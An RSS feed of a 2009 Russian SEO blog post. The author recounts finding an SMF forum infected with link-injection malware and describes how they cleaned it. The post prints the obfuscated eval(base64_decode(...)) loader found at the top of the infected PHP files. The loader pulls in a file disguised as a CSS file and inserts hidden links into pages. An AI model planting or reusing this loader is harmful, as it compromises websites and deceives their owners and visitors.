<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ставрополь-SEO &#187; вирусы</title>
	<atom:link href="http://seostav.ru/tag/virusy/feed/" rel="self" type="application/rss+xml" />
	<link>http://seostav.ru</link>
	<description>поисковая оптимизация сайтов в Ставрополе и не только</description>
	<lastBuildDate>Sun, 17 Jul 2011 06:41:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Ахтунг вирусы на сайтах.</title>
		<link>http://seostav.ru/2009/06/axtung-virusy-na-sajtax/</link>
		<comments>http://seostav.ru/2009/06/axtung-virusy-na-sajtax/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 21:11:36 +0000</pubDate>
		<dc:creator>seostav</dc:creator>
				<category><![CDATA[Ахтунг]]></category>
		<category><![CDATA[sape]]></category>
		<category><![CDATA[SMF]]></category>
		<category><![CDATA[вирусы]]></category>
		<category><![CDATA[сапа]]></category>
		<category><![CDATA[форумы]]></category>

		<guid isPermaLink="false">http://seostav.ru/?p=7</guid>
		<description><![CDATA[Модерирую я, значит, один форум, на SMF движке. Все вроде нормально вот только чтото он автоматом обновляться перестал. Не придал этому значения (и еще месяца 3 не придавал), пока не зашел в сапу и не увидел что у меня с морды его 60 (шисят!!!!) ссылок. Ну думаю непорядок, полез копаться в исходниках и что я [...]]]></description>
			<content:encoded><![CDATA[<p>Модерирую я, значит, один форум, на SMF движке. Все вроде нормально вот только чтото он автоматом обновляться перестал. Не придал этому значения (и еще месяца 3 не придавал), пока не зашел в сапу и не увидел что у меня с морды его 60 (шисят!!!!) ссылок. Ну думаю непорядок, полез копаться в исходниках и что я вижу? почти во всех php файлах в самом верху есть такая строчка:</p>
<p>{code type=php}</p>
<p><?php eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS91MTcxNDIvZm9ydW0udmlueWV0a2EucnUvd3d3L1RoZW1lcy9kZWZhdWx0L2ltYWdlcy9idXR0b25zL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS91MTcxNDIvZm9ydW0udmlueWV0a2EucnUvd3d3L1RoZW1lcy9kZWZhdWx0L2ltYWdlcy9idXR0b25zL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkZCl7JGY9b3JkKHN1YnN0cigkZCwzLDEpKTskaD0xMDskZT0wO2lmKCRmJjQpeyRlPXVucGFjaygndicsc3Vic3RyKCRkLDEwLDIpKTskZT0kZVsxXTskaCs9MiskZTt9aWYoJGYmOCl7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYmMTYpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjIpeyRoKz0yO30kdT1nemluZmxhdGUoc3Vic3RyKCRkLCRoKSk7aWYoJHU9PT1GQUxTRSl7JHU9JGQ7fXJldHVybiAkdTt9fWZ1bmN0aW9uIGRnb2JoKCRiKXtIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTskYz1nemRlY29kZSgkYik7aWYocHJlZ19tYXRjaCgnL1w8Ym9keS9zaScsJGMpKXtyZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwkYyk7fWVsc2V7cmV0dXJuIGdtbCgpLiRjO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19&#038;')); ?><br />
{/code}</p>
<p><code></p>
<p>Посмотрел я на это думаю - непорядок начал вычищать, порядка 60 файлов очистил, проверяю - один фиг. В общем оказалось что эта зараза еще была в директории со стандартной темой и маскироавлась под cssку. Удаляю ее и вуаля, с морды всего 8 сцылок из которых 3 продажных остальные были в тему вшиты. Заодно заноуиндексил и их.</p>
<p>Думаю что данная инфа будет полезна сапоторговцам. Будут вопросы чиркайте в камменты, как говориться помогу чем смогу.</p>
<p>ЗЫ. Не храните пароли в куках, на собственной шкуре убедился что это не есть хорошо.</p>
]]></content:encoded>
			<wfw:commentRss>http://seostav.ru/2009/06/axtung-virusy-na-sajtax/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

